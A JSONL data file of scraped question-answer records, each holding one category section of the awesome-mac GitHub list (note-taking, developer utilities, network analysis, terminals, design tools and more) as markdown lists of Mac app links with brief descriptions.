{"id": "gh_20365676feb1", "question": "How to: Note-taking", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Affine](https://affine.pro/) - Affine is the next-generation collaborative knowledge base for professionals. [![Open-Source Software][OSS Icon]](https://github.com/toeverything/AFFiNE) ![Freeware][Freeware Icon]\n* [Agenda](https://agenda.com/) - Date-focused note taking app for both planning and documenting your projects. [![App Store][app-store Icon]](https://itunes.apple.com/app/id1287445660?mt=12)\n* [Anytype](https://anytype.io/) - Privacy-focused Notion alternative with local storage, optional sync, and self-hosted server support. ![Freeware][Freeware Icon]\n* [AppFlowy](https://www.appflowy.io/) - Open-source alternative to Notion. [![Open-Source Software][OSS Icon]](https://github.com/AppFlowy-IO/appflowy) ![Freeware][Freeware Icon]\n* [Bear Writer](http://www.bear-writer.com/) - Beautiful, flexible writing app for crafting notes and prose. [![App Store][app-store Icon]](https://itunes.apple.com/us/app/bear-beautiful-writing-app/id1091189122?ls=1&mt=12)\n* [Boostnote](https://boostnote.io/) - Note-taking app made for programmers. [![Open-Source Software][OSS Icon]](https://github.com/BoostIO/Boostnote)\n* [Craft](https://www.craft.do/) - Notetaking and writing made beautiful. [![App Store][app-store Icon]](https://apps.apple.com/se/app/craft-docs-and-notes-editor/id1487937127)\n* [Dnote](https://www.getdnote.com/) - A simple command line notebook with multi-device sync and a web interface. [![Open-Source Software][OSS Icon]](https://github.com/dnote/dnote) ![Freeware][Freeware Icon]\n* [Email Me](https://emailmeapp.net/) - Email yourself and much more with just one tap, native on macOS, iOS and WatchOS. [![App Store][app-store Icon]](https://apps.apple.com/us/app/email-me-notes-in-one-tap/id1090744587)\n* [Evernote](https://evernote.com/) - Infamous note-taking app, available on many platforms. ![Freeware][Freeware Icon]\n* [FSNotes](https://fsnot.es/) - File System Notes is a modern notes manager, native on macOS and iOS. [![Open-Source Software][OSS Icon]](https://github.com/glushchenko/fsnotes) [![App Store][app-store Icon]](https://apps.apple.com/gb/app/fsnotes/id1277179284?mt=12)\n* [Gooba](https://goobapp.com/) - Writing app and task manager with a simple and interactive design.\n* [Inkdrop](https://www.inkdrop.info/) - Notebook app for Markdown lovers built on top of Electron.\n* [Joplin](https://joplinapp.org/) - Cross-platform open-source notepad with markdown support and to-do list management. [![Open-Source Software][OSS Icon]](https://github.com/laurent22/joplin) ![Freeware][Freeware Icon]\n* [Logseq](https://logseq.com/) - Privacy-first, open-source knowledge base. [![OSS][OSS Icon]](https://github.com/logseq/logseq) ![Freeware][Freeware Icon]\n* [MarginNote 4](https://marginnote.com/) - In-depth PDF and EPUB reading, learning, managing and note taking app.\n* [massCode](https://masscode.io/) - Cross-platform open-source code snippets manager with markdown and mermaid support. [![Open-Source Software][OSS Icon]](https://github.com/massCodeIO/massCode) ![Freeware][Freeware Icon]\n* [MiaoYan](https://miaoyan.app/) - Lightweight Markdown app to help you write great sentences.\n* [Notable](https://github.com/notable/notable) - The markdown-based note-taking app that doesn't suck.\n* [Notebook](https://www.zoho.com/notebook/notebook-for-mac.html) - Note-taking app. ![Freeware][Freeware Icon]\n* [Notes](http://www.get-notes.com/) - Clean, simple note-taking app. [![Open-Source Software][OSS Icon]](https://github.com/nuttyartist/notes) ![Freeware][Freeware Icon]\n* [NotePlan 3](https://noteplan.co/) - Your tasks, notes, and calendar, plain-text markdown files.  [![App Store][app-store Icon]](https://apps.apple.com/en/app/noteplan-3/id1505432629)\n* [NotePlus](https://noteplus.com/) - True Native Note and LLM Client\n* [Noteship](https://noteship.com) - Turn notes into knowledge (spreadsheet view, heading summaries, etc.). Works offline, everything is saved locally. [![App Store][app-store Icon]](https://apps.apple.com/us/app/noteship/id1571711347?mt=12)\n* [Notion](https://www.notion.so/) - All-in-one workspace for notes, tasks, wikis, and databases.\n* [OneNote](https://www.onenote.com/) - Note-taking app by Microsoft. ![Freeware][Freeware Icon]\n* [OutlineEdit 3](https://outlineedit.com) - Fully-featured outline editor, for everyone who loves great structured notes. [![App Store][app-store Icon]](https://apps.apple.com/us/app/outlineedit-3/id1608887438)\n* [Saber](https://saber.adil.hanney.org/) - Cross platform stylus and text notetaking app. Supports image and pdf imports, can sync. [![App Store][app-store Icon]](https://apps.apple.com/us/app/saber/id1671523739)[![Open-Source Software][OSS Icon]](https://github.com/adil192/saber)\n* [SideNotes](https://www.apptorium.com/sidenotes) - Quick notes on the screen side with Markdown support.\n* [Standard Notes](https://standardnotes.com/) - An end-to-end encrypted notes app for digitalists and professionals. [![Open-Source Software][OSS Icon]](https://github.com/standard", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443204"}
{"id": "gh_b0337dd526ef", "question": "How to: Journaling", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Day One](https://dayoneapp.com/) - Excellent journaling app using text, photos, video, audio, location data, and more. [![App Store][app-store Icon]](https://apps.apple.com/us/app/day-one/id1055511498?mt=12)\n* [Journey](https://journey.cloud/) - Journaling app with many features and with apps for every platform available. [![App Store][app-store Icon]](https://apps.apple.com/us/app/journey-diary-journal/id1300202543)\n* [Life Note](https://mylifenote.ai) - Journal with the greatest minds in human history. ![Freeware][Freeware Icon]\n* [linked](https://github.com/lostdesign/linked) - Link your thoughts to days, distraction free. ![Open-Source Software][OSS Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443211"}
{"id": "gh_d58be7b14048", "question": "How to: Developer Utilities", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [BetterRename](http://www.publicspace.net/BetterRename/) - The most powerful and complete Mac file renaming application on the market. [![App Store][app-store Icon]](https://apps.apple.com/us/app/better-rename-11/id1501308038)\n* [Beyond Compare](http://www.scootersoftware.com/) - Compare files and folders with powerful commands. ![Freeware][Freeware Icon]\n* [Bidbar](https://www.getbidbar.com) - Manage bash commands from the menu bar and run them with keyboard shortcuts.\n* [Cacher](https://www.cacher.io/) - Cloud-based code snippet manager with Gist sync and multi-platform support.\n* [CodeKit](https://codekitapp.com/) - Web development tool for compiling and auto-refreshing.\n* [CodeMenu](https://extiri.com/codemenu.html) - Advanced snippets manager with IDE integration, natural language search, and more.\n* [CoilPad](https://coilpad.com) - Native macOS Python scratchpad designed for instant prototyping and interactive learning. ![Freeware][Freeware Icon]\n* [Conduktor](https://www.conduktor.io) - Kafka desktop client.  ![Freeware][Freeware Icon]\n* [CubicBezier](https://github.com/isaced/CubicBezier) - CubicBezier Generator for macOS. [![Open-Source Software][OSS Icon]](https://github.com/isaced/CubicBezier) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/us/app/cubicbezier/id1228492117?mt=12)\n* [Cutter](https://cutter.re/) - Powerful multi-platform reverse engineering tool. ![Open-Source Software][OSS Icon]\n* [DevHub](https://wangchujiang.com/DevHub/) - Feature-rich offline app for developers. ![OSS][OSS Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/devhub/id6476452351)\n* [Dash](https://kapeli.com/dash) - Awesome API documentation browser and code snippet manager. ![Freeware][Freeware Icon]\n* [Deeplink Buddy](https://deeplinkbuddy.com) - Deeplink managers, made by developer for developers.\n* [DiffMerge](http://sourcegear.com/diffmerge/) - Application to visually compare and merge files. ![Freeware][Freeware Icon]\n* [EnvPane](https://github.com/hschmidt/EnvPane) - OS X preference pane for environment variables. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/hschmidt/EnvPane)\n* [FinderGo](https://github.com/onmyway133/FinderGo) - Open terminal quickly from Finder. [![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]](https://github.com/onmyway133/FinderGo)\n* [FlyEnv](https://www.flyenv.com) - An all-in-one tool integrating languages, databases, and services to quickly set up your local full-stack development environment. [![Open-Source Software][OSS Icon]](https://github.com/xpf0000/FlyEnv)\n* [Finicky](https://johnste.github.io/finicky/) - Set rules to decide which browser opens each link. [![OSS][OSS Icon]](https://github.com/johnste/finicky) ![Freeware][Freeware Icon]\n* [Gas Mask](https://github.com/2ndalpha/gasmask) - Simple hosts file manager for Mac OS X. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/2ndalpha/gasmask)\n* [Gemini](https://macpaw.com/gemini) - Intelligent duplicate file finder.\n* [Hex Fiend](https://ridiculousfish.com/hexfiend/) - Fast and clever open source hex editor. [![Open-Source Software][OSS Icon]](https://github.com/ridiculousfish/HexFiend/) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/hex-fiend/id1342896380)\n* [Hosts.prefpane](https://github.com/specialunderwear/Hosts.prefpane) - System preference pane to manage your hosts file. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/specialunderwear/Hosts.prefpane)\n* [Icon Preview](https://sindresorhus.com/icon-preview) - Preview your app icon and menu bar icon. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id6480373509)\n* [iHosts](https://en.toolinbox.net/iHosts/) - The only `/etc/hosts` editor on Mac App Store. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/id1102004240?mt=12)\n* [ILLA Cloud](https://www.illacloud.com/) - Low-code internal tool builder. [![Open-Source Software][OSS Icon]](https://github.com/illacloud/illa-builder)\n* [ImHex](https://imhex.werwolv.net/) - Hex Editor for reverse engineers and programmers. [![OSS][OSS Icon]](https://github.com/WerWolv/ImHex/) ![Freeware][Freeware Icon]\n* [Integrity](http://peacockmedia.software/mac/integrity/free.html) - Free website link checker for Mac. ![Freeware][Freeware Icon]\n* [Kaleidoscope](https://www.kaleidoscopeapp.com/) - Compare text, images, and folders.\n* [Koala](http://koala-app.com) - GUI application for Less, Sass, Compass and CoffeeScript compilation. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/oklai/koala/)\n* [Loca Studio](https://www.cunningo.com/locastudio/index.html) - Analyze, review, and edit app translations. [![App Store][app-store Icon]](https://apps.apple.com/app/id1465684707)\n* [LINQPad](https://www.linqpad.net/) - Scratchpad for .NET developm", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443244"}
{"id": "gh_fdfece62ce2f", "question": "How to: Regular Expression Editors", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Patterns](http://krillapps.com/patterns/) - Regular expression editor.\n* [Regex](https://motionobj.com/regex/) - Regular expression testing tool with an emphasis on simplicity.\n* [RegExRX](http://www.mactechnologies.com/index.php?page=downloads#regexrx) - Development tool for regular expressions.\n* [RegexMate](https://apps.apple.com/app/6479819388) - A regular expression testing tool with a built-in quick reference guide.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443249"}
{"id": "gh_5b1f97d87a37", "question": "How to: API Development and Analysis", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [bruno](https://www.usebruno.com/) - Bruno is a offline-only, fast and git-friendly opensource API client.![Freeware][Freeware Icon]\n* [Cocoa Rest Client](https://mmattozzi.github.io/cocoa-rest-client/) - Free, open-source, native Apple OS X app for testing HTTP/REST endpoints. [![Open-Source Software][OSS Icon]](https://github.com/mmattozzi/cocoa-rest-client) ![Freeware][Freeware Icon]\n* [HTTPie](https://httpie.io/) - HTTPie is making APIs simple and intuitive for those building the tools of our time. ![Freeware][Freeware Icon]\n* [Hoppscotch](https://docs.hoppscotch.io/documentation/clients/desktop) - A lightweight, fast, and full-featured API debugging tool. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/hoppscotch/hoppscotch)\n* [Insomnia](https://insomnia.rest/) - The most intuitive cross-platform REST API Client. [![Open-Source Software][OSS Icon]](https://github.com/getinsomnia/insomnia) ![Freeware][Freeware Icon]\n* [Katalon Studio](https://www.katalon.com) - Simplify API, Web, and Mobile Automation Tests. ![Freeware][Freeware Icon]\n* [Maestro](https://maestro.dev/) - End-to-end testing for Mobile and Web apps. Supports iOS, Android, React Native, Flutter and more. [![Open-Source Software][OSS Icon]](https://github.com/mobile-dev-inc/maestro) ![Freeware][Freeware Icon]\n* [Mockoon](https://mockoon.com/) - Create mock APIs in seconds. [![Open-Source Software][OSS Icon]](https://github.com/mockoon/mockoon)\n* [Paw](https://paw.cloud/) - Advanced HTTP client.\n* [Postman](https://www.getpostman.com) - GUI platform for API development. ![Freeware][Freeware Icon]\n* [Reqable](https://reqable.com) - Next-Gen API Development Tool, Advanced API Debugging Proxy and REST Client. ![Freeware][Freeware Icon]\n* [ReqRes](https://reqresapp.com/) - Native macOS app to monitor, debug, and mock HTTP(S) requests and responses. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/OloApps/ReqRes)\n* [Requestly](https://requestly.io) - Open-source, lightweight Git-Friendly API Client built for modern developers. [![Open-Source Software][OSS Icon]](https://github.com/requestly/requestly) ![Freeware][Freeware Icon]\n* [Trayce](https://trayce.dev) - Lightweight tool to monitor Docker container traffic with a built-in .bru HTTP client. [![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]](https://github.com/evanrolfe/trayce_gui)\n* [Yaak](https://yaak.app) - A modern API client supporting multiple protocols, offline usage, and Git integration. [![Open-Source Software][OSS Icon]](https://github.com/mountain-loop/yaak)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443257"}
{"id": "gh_5a902d8fdb8e", "question": "How to: Network Analysis", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Charles](https://www.charlesproxy.com/) - HTTP proxy/monitor to view HTTP and HTTPS traffic.\n* [James](https://github.com/james-proxy/james) - Open-source proxy tool for checking and mapping requests with http as well as https. [![Open-Source Software][OSS Icon]](https://github.com/james-proxy/james) ![Freeware][Freeware Icon]\n* [Little Snitch](https://www.obdev.at/products/littlesnitch/download.html) - Network monitor with a world map for visualizing network connections.\n* [mitmproxy](https://mitmproxy.org/) - Interactive intercepting HTTP proxy for penetration testers and software developers. [![Open-Source Software][OSS Icon]](https://github.com/mitmproxy/mitmproxy) ![Freeware][Freeware Icon]\n* [Proxie](https://proxie.app) - HTTP debugging proxy.\n* [Proxyman](https://proxyman.app) - Modern and intuitive HTTP debugging proxy for macOS. ![Freeware][Freeware Icon]\n* [Sniffnet](https://github.com/GyulyVGC/sniffnet) - Application to comfortably monitor your network traffic. [![Open-Source Software][OSS Icon]](https://github.com/GyulyVGC/sniffnet) ![Freeware][Freeware Icon]\n* [Wireshark](https://www.wireshark.org) - The world’s foremost and widely-used network protocol analyzer. [![Open-Source Software][OSS Icon]](https://github.com/wireshark/wireshark) ![Freeware][Freeware Icon]\n* [Apidog](https://www.apidog.com/) - All-in-One workspace for API Design, Documentation, Debug, Mock, Test.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443265"}
{"id": "gh_914f0c808123", "question": "How to: Frameworks For Hybrid Applications", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [AppJS](http://appjs.com/) - Lightweight JavaScript UI library for creating mobile webapps that behave like native apps. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/appjs/appjs)\n* [create-dmg](https://github.com/sindresorhus/create-dmg) - Create a good-looking DMG for your macOS app in seconds. [![Open-Source Software][OSS Icon]](https://github.com/sindresorhus/create-dmg) ![Freeware][Freeware Icon]\n* [Electrino](https://github.com/pojala/electrino) - Desktop runtime for web apps using the system's browser engine. [![OSS][OSS Icon]](https://github.com/pojala/electrino) ![Freeware][Freeware Icon]\n* [Electron](http://electron.atom.io) - Build cross platform desktop application with JavaScript, HTML and CSS. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/electron/electron)\n* [ionic](http://ionicframework.com/) - Build native and web apps with Angular and open web technologies. [![OSS][OSS Icon]](https://github.com/driftyco/ionic) ![Freeware][Freeware Icon]\n* [MacGap](http://macgapproject.github.io/) - Lightweight JavaScript API for OS X integration. [![OSS][OSS Icon]](https://github.com/MacGapProject) ![Freeware][Freeware Icon]\n* [nw.js](http://nwjs.io) - Build desktop apps with HTML and JavaScript. [![OSS][OSS Icon]](https://github.com/nwjs/nw.js) ![Freeware][Freeware Icon]\n* [Qt](https://www.qt.io) - Cross-platform application framework.\n* [React Native for Ubuntu](https://github.com/CanonicalLtd/react-native) - Build Ubuntu desktop apps using React Native. [![Open-Source Software][OSS Icon]](https://github.com/CanonicalLtd/react-native) ![Freeware][Freeware Icon]\n* [React Native macOS](https://github.com/ptmt/react-native-desktop) - Build OS X desktop apps using React Native and Cocoa. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/ptmt/react-native-desktop)\n* [react-desktop](http://reactdesktop.js.org) - React UI Components for macOS Sierra. [![Open-Source Software][OSS Icon]](https://github.com/gabrielbull/react-desktop) ![Freeware][Freeware Icon]\n* [ReactXP](https://microsoft.github.io/reactxp/) - Microsoft platform for Web, iOS, Android, and Windows UWP. [![OSS][OSS Icon]](https://github.com/microsoft/reactxp) ![Freeware][Freeware Icon]\n* [Tauri](https://tauri.app/) - Create small, fast, secure, cross-platform applications [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/tauri-apps/tauri)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443273"}
{"id": "gh_d9d76ce6ffe0", "question": "How to: Version Control", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Cornerstone](http://www.zennaware.com/cornerstone/) - Powerful version control with a gorgeous interface.\n* [Fork](https://git-fork.com/) - Fast and friendly Git client for Mac.\n* [Git Cola](https://git-cola.github.io/) - Powerful, Fast, Lightweight and Friendly Git GUI. For those caffeine adicting users. ![Open-Source Software][OSS Icon]\n* [Gitbar](https://github.com/Shikkic/gitbar) - Open-source，display GitHub contribution statistics on your menu bar. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/Shikkic/gitbar)\n* [GitButler](https://gitbutler.com/) - Change management with parallel and stacked branches, unlimited undo, agent integrations. [![Open-Source Software][OSS Icon]](https://github.com/gitbutlerapp/gitbutler) ![Freeware][Freeware Icon]\n* [GitFinder](https://gitfinder.com/) - Fast and lightweight Git client for Mac with Finder integration.\n* [Gitfox](https://www.gitfox.app) - Commit faster, improve your code quality with superior diffs - and look good doing it. [![App Store][app-store Icon]](https://apps.apple.com/app/gitfox/id1475511261)\n* [GitHub Desktop](https://desktop.github.com/) - The official GitHub GUI. [![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]](https://github.com/desktop/desktop)\n* [GitKraken](https://www.gitkraken.com/) - The most popular Git GUI for Windows, Mac and Linux.\n* [GitUp](http://gitup.co/) - A simple & powerful Git client。[![Open-Source Software][OSS Icon]](https://github.com/git-up/GitUp) ![Freeware][Freeware Icon]\n* [GitX-dev](https://rowanj.github.io/gitx/) -  Fork of [Pieter's](https://github.com/pieter/gitx) nice git GUI for OS X. Includes branch/tag sidebar and various fixes. [![Open-Source Software][OSS Icon]](https://github.com/rowanj/gitx) ![Freeware][Freeware Icon]\n* [Hub](https://hub.github.com/) - Command-line wrapper for Git that makes you better at GitHub. [![Open-Source Software][OSS Icon]](https://github.com/github/hub) ![Freeware][Freeware Icon]\n* [RelaGit](https://rela.dev/) - The elegant solution to graphical version control. Built by developers, for developers. [![Open-Source Software][OSS Icon]](https://github.com/relagit/relagit) ![Freeware][Freeware Icon]\n* [SmartGit](http://www.syntevo.com/smartgit/) - Git client with support.\n* [SourceTree](https://www.sourcetreeapp.com/) - Free Git & Mercurial client for Windows or Mac. ![Freeware][Freeware Icon]\n* [Sublime Merge](https://www.sublimemerge.com/) -  Git client, from the makers of Sublime Text.\n* [Tempo](https://github.com/maoyama/Tempo) - GUI Git client. Replace the Git CLI with a clear UI and AI assist. [![Freeware][Freeware Icon] ![Open-Source Software][OSS Icon]](https://github.com/maoyama/Tempo)\n* [Tower2](https://www.git-tower.com/) - The most powerful Git client for Mac and Windows.\n* [Vershd](https://vershd.io/) - The free for personal use effortless Git GUI, for Windows, Mac, & Linux. ![Freeware][Freeware Icon]\n* [Versions](https://www.versionsapp.com/) - Mac Subversion (SVN) Client.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443284"}
{"id": "gh_071a68aa8d64", "question": "How to: Virtualization", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Docker](https://www.docker.com/) - Powerful, performs operating-system-level virtualization. [![Open-Source Software][OSS Icon]](https://github.com/docker) ![Freeware][Freeware Icon] [![Awesome List][awesome-list Icon]](https://github.com/veggiemonk/awesome-docker#readme)\n* [MacVirtue](https://naden.co) - Run free and unlimited Virtual Machines on your Mac.\n* [Multipass](https://multipass.run/) - Ubuntu VMs on demand for any workstation. [![Open-Source Software][OSS Icon]](https://github.com/canonical/multipass)\n* [OrbStack](https://orbstack.dev/) - Fast, light, and simple way to run Docker containers and Linux machines on macOS. ![Freeware][Freeware Icon]\n* [Parallels](http://www.parallels.com/) - Powerful, easy-to-use VM. No free upgrade for each new Mac OS.\n* [Podman Desktop](https://podman-desktop.io/) - Open-source graphical tool for managing containers and Kubernetes. [![Open-Source Software][OSS Icon]](https://github.com/containers/podman-desktop) ![Freeware][Freeware Icon]\n* [Rancher Desktop](https://rancherdesktop.io) - Container management and Kubernetes on the desktop. [![OSS][OSS Icon]](https://github.com/rancher-sandbox/rancher-desktop/blob/main/LICENSE)\n* [Lima](https://github.com/lima-vm/lima) - Lima launches Linux virtual machines with automatic file sharing and port forwarding. [![Open-Source Software][OSS Icon]](https://github.com/lima-vm/lima)\n* [QEMU](https://www.qemu.org/) - A free and open-source emulator and virtualizer that can perform hardware virtualization. [![Open-Source Software][OSS Icon]](https://github.com/qemu/qemu) ![Freeware][Freeware Icon]\n* [UTM](https://mac.getutm.app/) - UTM is an easy-to-use GUI for QEMU and can run ARM64, x64 and other VMs on M1 Macs. [![Open-Source Software][OSS Icon]](https://github.com/utmapp/UTM)\n* [Vagrant](https://www.vagrantup.com) - Tool for building and distributing development environments. [![Open-Source Software][OSS Icon]](https://github.com/mitchellh/vagrant) ![Freeware][Freeware Icon] [![Awesome List][awesome-list Icon]](https://github.com/iJackUA/awesome-vagrant#readme)\n* [Veertu](https://veertu.com) - The lightest VM on Mac. Responsive, sandboxed & native way to run VM on your Mac. ![Freeware][Freeware Icon]\n* [Virtual Box](http://www.virtualbox.org) - Powerful x86 and AMD64/Intel64 virtualization product. ![Freeware][Freeware Icon]\n* [VMware Fusion](http://www.vmware.com/) - Powerful, commercial VM developed by VMware.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443292"}
{"id": "gh_090ba5e95e6e", "question": "How to: Terminal Apps", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [alacritty](https://github.com/jwilm/alacritty) - A cross-platform, GPU-accelerated terminal emulator. [![Open-Source Software][OSS Icon]](https://github.com/jwilm/alacritty) ![Freeware][Freeware Icon]\n* [electerm](https://electerm.github.io/electerm/) - A free, multi-platform Terminal and SSH/SFTP tool with a beautiful interface that is the perfect alternative to XShell for Windows! [![Open-Source Software][OSS Icon]](https://github.com/electerm/electerm) ![Freeware][Freeware Icon]\n* [Ghostty](https://github.com/ghostty-org/ghostty) - A fast, feature-rich, and cross-platform terminal emulator that uses platform-native UI and GPU acceleration. [![Open-Source Software][OSS Icon]](https://github.com/ghostty-org/ghostty) ![Freeware][Freeware Icon]\n* [hyper](https://hyper.is) - A terminal built on web technologies. [![Open-Source Software][OSS Icon]](https://github.com/zeit/hyper) ![Freeware][Freeware Icon]\n* [iTerm2](http://www.iterm2.com) - iTerm2 is an amazing terminal emulator for OS X. [![Open-Source Software][OSS Icon]](https://github.com/gnachman/iTerm2) ![Freeware][Freeware Icon]\n* [kitty](https://github.com/kovidgoyal/kitty) - A cross-platform, fast, feature full, GPU based terminal emulator. [![Open-Source Software][OSS Icon]](https://github.com/kovidgoyal/kitty) ![Freeware][Freeware Icon]\n* [KubeSwitch](https://www.kubeswitch.com/) - The fastest way to switch between Kubernetes contexts and namespaces on macOS. ![Freeware][Freeware Icon]\n* [Tabby (formerly Terminus)](https://github.com/Eugeny/tabby) - Free terminal tool, built with TypeScript, heavily inspired by Hyper. [![Open-Source Software][OSS Icon]](https://github.com/Eugeny/terminus) ![Freeware][Freeware Icon]\n* [Termius](https://www.termius.com/) - A beautiful SSH and SFTP client for Mac. It is also available for mobile. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/termius-terminal-ssh-client/id549039908)\n* [Warp](https://www.warp.dev) - Warp is a blazingly fast, rust-based terminal reimagined from the ground up to work like a modern app.\n* [Wave](https://github.com/wavetermdev/waveterm) - An open-source terminal that combines traditional terminal features with graphical capabilities like file previews, web browsing, and AI assistance. [![Open-Source Software][OSS Icon]](https://github.com/wavetermdev/waveterm) ![Freeware][Freeware Icon]\n* [WezTerm](https://wezfurlong.org/wezterm/) - A GPU-accelerated cross-platform terminal emulator and multiplexer implemented in Rust. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/wez/wezterm)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443309"}
{"id": "gh_2380372ed37c", "question": "How to: Design Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Acorn](https://secure.flyingmeat.com/acorn/) - Great Mac OS X picture and photo editor, built for humans.\n* [Affinity Designer](https://affinity.serif.com/en-us/designer/) - Professional graphic design software for Mac.\n* [Affinity Photo](https://affinity.serif.com/en-us/photo/) - Professional image editing software for Mac.\n* [Alchemy](http://al.chemy.org/) - Experimental, open-source drawing application with an emphasis on creating conceptual art. [![Open-Source Software][OSS Icon]](http://svn.al.chemy.org/)\n* [Amadine](https://amadine.com) - Vector drawing app with an intuitive interface for graphic designers.\n* [Art Text 3](https://www.belightsoft.com/art-text/) - Graphic design software for lettering, typography, and text effects.\n* [Blender](https://www.blender.org/) - Free and open 3D creation software. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://developer.blender.org/)\n* [Colorpicker](https://colorpicker.fr/) - Colorpicker is a complete open-source colors manipulation tool with picking! [![Open-Source Software][OSS Icon]](https://github.com/toinane/colorpicker) ![Freeware][Freeware Icon]\n* [darktable](https://www.darktable.org) - darktable is an open source photography workflow application and raw developer. [![Open-Source Software][OSS Icon]](https://github.com/darktable-org/darktable) ![Freeware][Freeware Icon]\n* [Droply](https://convergencelab.gumroad.com/l/droply) - A native macOS app for one-click offline batch image background removal with exceptional edge quality.\n* [Draw.io](https://github.com/jgraph/drawio-desktop) Drawio is a diagramming and whiteboarding desktop app [![Open-Source Software][OSS Icon]](https://github.com/jgraph/drawio-desktop)\n* [Figma](https://www.figma.com/) - The collaborative interface design tool, for vector graphics and UI prototyping. ![Freeware][Freeware Icon]\n* [FontForge](http://fontforge.github.io/) - Free, open-source font editor. [![Open-Source Software][OSS Icon]](https://github.com/fontforge) ![Freeware][Freeware Icon]\n* [GIMP](https://www.gimp.org) - The GNU Image Manipulation Program. [![Open-Source Software][OSS Icon]](https://www.gimp.org/source/#gimp-source-code)\n* [inklet](https://tenonedesign.com/inklet.php) - Turn your Mac trackpad into drawing board.\n* [Inkscape](https://inkscape.org/en/) - Professional vector graphics editor. [![Open-Source Software][OSS Icon]](https://launchpad.net/inkscape)\n* [Krita](https://krita.org/en/) - Open-source digital painting software for concept artists, digital painters, and illustrators. [![Open-Source Software][OSS Icon]](https://github.com/KDE/krita) ![Freeware][Freeware Icon]\n* [macSVG](https://macsvg.org/) - Designing HTML5 SVG art and animation. [![Open-Source Software][OSS Icon]](https://github.com/dsward2/macSVG) ![Freeware][Freeware Icon]\n* [MagicaVoxel](https://ephtracy.github.io/) - Free, lightweight 8-bit voxel editor and interactive path tracing renderer.\n* [MakeHuman](http://www.makehumancommunity.org) - Powerful and free 3D human modeler. ![Freeware][Freeware Icon]\n* [Monodraw](http://monodraw.helftone.com) - Powerful ASCII art editor designed for the Mac. [![App Store][app-store Icon]](https://itunes.apple.com/app/monodraw/id920404675)\n* [Nik Collection](https://nikcollection.dxo.com/) - Nik Collection by DxO.\n* 